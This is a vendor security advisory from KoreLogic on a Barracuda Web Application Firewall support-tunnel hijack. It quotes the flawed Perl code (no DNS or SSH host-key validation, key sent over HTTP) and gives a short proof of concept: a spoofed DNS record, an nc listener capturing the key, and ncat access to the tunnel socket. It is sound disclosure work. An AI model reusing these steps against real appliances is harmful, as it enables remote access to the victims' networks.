Skip to main content
Security Advisory

Barracuda WAF Support Tunnel Hijack

Advisory ID
KL-001-2017-014
Published
2017-07-06
Vendor
Barracuda

Affected Systems

Product
Web Application Firewall V360
Version
Firmware v8.0.1.014
Platform
Embedded Linux

Discovered By

Matt Bergin (KoreLogic)
Download (signed .txt)

Vulnerability Details

Affected Vendor: Barracuda
Affected Product: Web Application Firewall V360
Affected Version: Firmware v8.0.1.014
Platform: Embedded Linux
CWE Classification: CWE-304: Missing Critical Step In Authentication
Impact: Remote Access
Attack Vector: DNS, SSH

Vulnerability Description

During the creation of a tunnel connection to barracuda support, the code creating the tunnels fails to:

  1. Validate DNS Records,
  2. Validate SSH Host Key, and
  3. Transmit Public SSH Key over an encrypted, verified channel.

Technical Description

file: /usr/local/bin/support-tunnel

The first host added to the available remote hosts is done through using DNS resolution on support01.barracudanetworks.com. If an attacker can control DNS, it is possible to subvert network traffic by creating records that will resolve to an attacker’s IP address.

  [snip]
  sub remote_hosts() {
      my $central = 'support01.barracudanetworks.com';
      my @hosts;
      my $host = resolv_host($central) || $central;

      push @hosts, {
          'ssh' => { 'host' => $host, 'port' => 22 },
          'web' => { 'host' => $host, 'port' => 80 },
      };

      push @hosts, {
          'ssh' => { 'host' => '64.235.147.77', 'port' => 22 },
          'web' => { 'host' => '64.235.147.77', 'port' => 80 },
      };

      push @hosts, {
          'ssh' => { 'host' => '64.235.154.112', 'port' => 22 },
          'web' => { 'host' => '64.235.154.112', 'port' => 80 },
      };

      return @hosts;
  } # remote_hosts
  [snip]

The appliance will send a URL-encoded copy of the public key using HTTP.

  sub tunnel_post_key($$$$) {
          my $host        = shift;
          my $port        = shift;
          my $serial      = shift;
          my $pubkey      = shift;

          [snip]

          $url    = sprintf('/tunnel-broker?serial=%s&cs=%s&key=%s&keycs=%s&version=%s', $serial, Digest::MD5::md5_hex($serial), url_escape($pubkey), Digest::MD5::md5_hex($pubkey), url_escape(VERSION));

          #
          # Write an HTTP request.
          #
          $req    = "GET $url HTTP/1.0\r\nHost: $host\r\n\r\n";

          do {
                  $retval = aio_write($sock, $req);
          } while ($retval == AIO_WOULDBLOCK && $stop > time);

          if ($retval != AIO_SUCCESS) {
                  throw(SYSTEM_EXCEPTION, "aio_write($addr:$port, $req): $!");
                  aio_close($sock);
                  return undef;
          }

          [snip]

          return 1;
  } # tunnel_post_key

It should be noted that the appliance is shipped with a default key (pvt_md5:194d9a5167153e1137134e1896d67b47,pub_md5:62c3a6e160cc501f2ffa2d1434176e93) but will generate and submit a new key should the default key no longer exist. This happens in the ssh_key_path function.

Finally, the appliance specifically sets StrictHostKeyChecking to no. This instructs the ssh client to ignore any SSH host-key mismatch and allows an attacker to more easily leverage their own SSH server for attacks.

  sub ssh_command_args($\$$$$;$$) {
          my $sshcmd      = shift;
          my $serialref   = shift;
          my $sshkey      = shift;
          my $sshhost     = shift || 'support01.barracudanetworks.com';
          my $sshport     = shift || 22;
          my $lsshport    = shift || local_ssh_port || 22;
          my $lwebport    = shift || local_web_port || 8000;
          my $lsslvpnport = shift;
          if( get_product() eq "bvs" ) {
                  $lsslvpnport = local_sslvpn_port || 443 if !$lsslvpnport;
          }
          my @version     = ssh_version_of($sshcmd);
          my (@args, $has_unixfwd, $has_exitonfwdfailure, $has_defineremotehost);

          $has_unixfwd            = ($version[0] > 4 || ($version[0] == 4 && $version[1] >= 4));
          $has_exitonfwdfailure   = ($version[0] > 4 || ($version[0] == 4 && $version[1] >= 4));
          $has_defineremotehost   = ($version[0] >= 4);

          push @args, '-T';                               # Don't allocate a TTY
          push @args, '-' . ('v' x want_verbose)          # Passthru verbosity
                  if want_verbose;
          push @args, '-o', 'StrictHostKeyChecking=no';   # Ignore Support01 host key (bad idea?)
          push @args, '-i', $sshkey;

          push @args, '-o', 'ExitOnForwardFailure=yes'    # Abort if forwarding fails. (By default if remote forwarding fails SSH continues the session.)
                  if $has_exitonfwdfailure;

          if ($has_unixfwd) {
                  push @args, '-R', "[/var/tunnels/ssh/${$serialref}.sock]:127.0.0.1:$lsshport";
                  push @args, '-R', "[/var/tunnels/www/${$serialref}.sock]:127.0.0.1:$lwebport";
                  push @args, '-R', "[/var/tunnels/sslvpn/${$serialref}.sock]:127.0.0.1:$lsslvpnport" if get_product() eq "bvs";
  [snip]

To demonstrate, we created DNS entries to force support01.barracudanetworks.com to resolve to 1.3.3.7. Next, we bound to port 80. Using either the web application or admin console, we initiated a support tunnel connection.

  # nc -l -p 80
  GET /tunnel-broker?serial=853466&cs=6a62a850a77a698f015c35dba7e79a28&key=ssh%2drsa%20AAAAB3NzaC1yc2EAAAABIwAAAQEAuYb3kDIgcgC89npzov3kteC6qkXLzLl%2bopttn5e3WokAlbZFIqFpl67X8ESfhmP7RXaYPiqHEsPEI%2fSuUnapJKYe2gMp7ZmfjYi1rXgXkohWzD8DCZPJUgfUk22zdRWxS%2bhPioXjKwO5nZqu1JdH%2fQ11ModDUEhKOluJLvVrqALTLcFkNsnEy89IpbLCchM8rqn86f38NrCQpqqi7aDx6senUzDit2m6Ay27%2f6hUcGiQi331muHcCXMPUPWvV0gFcpjCN1x15%2bMFCUWkAkaJ4E0%2beXyC7YxgglwwnM36RQarpIElmZ5j6Y2RYGdvQdgHR7esiw34Jfx%2fmT7GM60GHQ%3d%3d&keycs=db06172872d43ce0370b4509f3d0b876&version=2008012801 HTTP/1.1
  TE: deflate,gzip;q=0.3
  Connection: TE, close
  Host: support01.barracudanetworks.com
  User-Agent: libwww-perl/5.805

After creating the appropriate user and adding the public key to the authorized_keys file, the SSH connection was successful.

  sshd[4946]: Accepted publickey for redir from 1.3.3.7 port 60950 ssh2: RSA de:c6:c2:bd:c0:0a:54:31:32:ad:3b:2d:72:80:77:49
  sshd[4946]: pam_unix(sshd:session): session opened for user redir by (uid=0)
  systemd-logind[692]: New session 92 of user redir.
  systemd: pam_unix(systemd-user:session): session opened for user redir by (uid=0)

The tunnels can be connected to using the newly created unix socket.

  # ncat -U /var/tunnels/www/853466.sock
  GET / HTTP/1.1

  HTTP/1.1 400 Bad Request
  Server: BarracudaHTTP 4.0
  Date: Thu, 15 Dec 2016 15:27:22 GMT
  Content-Type: text/html
  Content-Length: 178
  Connection: close

  <html>
  <head><title>400 Bad Request</title></head>
  <body bgcolor="white">
  <center><h1>400 Bad Request</h1></center>
  <hr><center>BarracudaHTTP 4.0</center>
  </body>
  </html>

Mitigation and Remediation Recommendation

The vendor has patched this vulnerability in the latest virtual appliance release.

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. and Joshua Hardin.

Proof of Concept

See 3. Technical Description

The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

Disclosure Timeline

KoreLogic sends vulnerability report and PoC to Barracuda.

Barracuda acknowledges receipt of the vulnerability report.

Barracuda informs KoreLogic that they are working on remediation for this issue.

Barracuda asks for additional time beyond the standard 45 business day embargo to address this and other issues reported by KoreLogic.

45 business days have elapsed since the issue was reported.

75 business days have elapsed since the issue was reported.

100 business days have elapsed since the issue was reported.

Barracuda informs KoreLogic that the issue has been fixed.

KoreLogic public disclosure.

Responsible Disclosure

KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.

Vendor notification and coordination
90+ day disclosure timeline
CVE coordination when applicable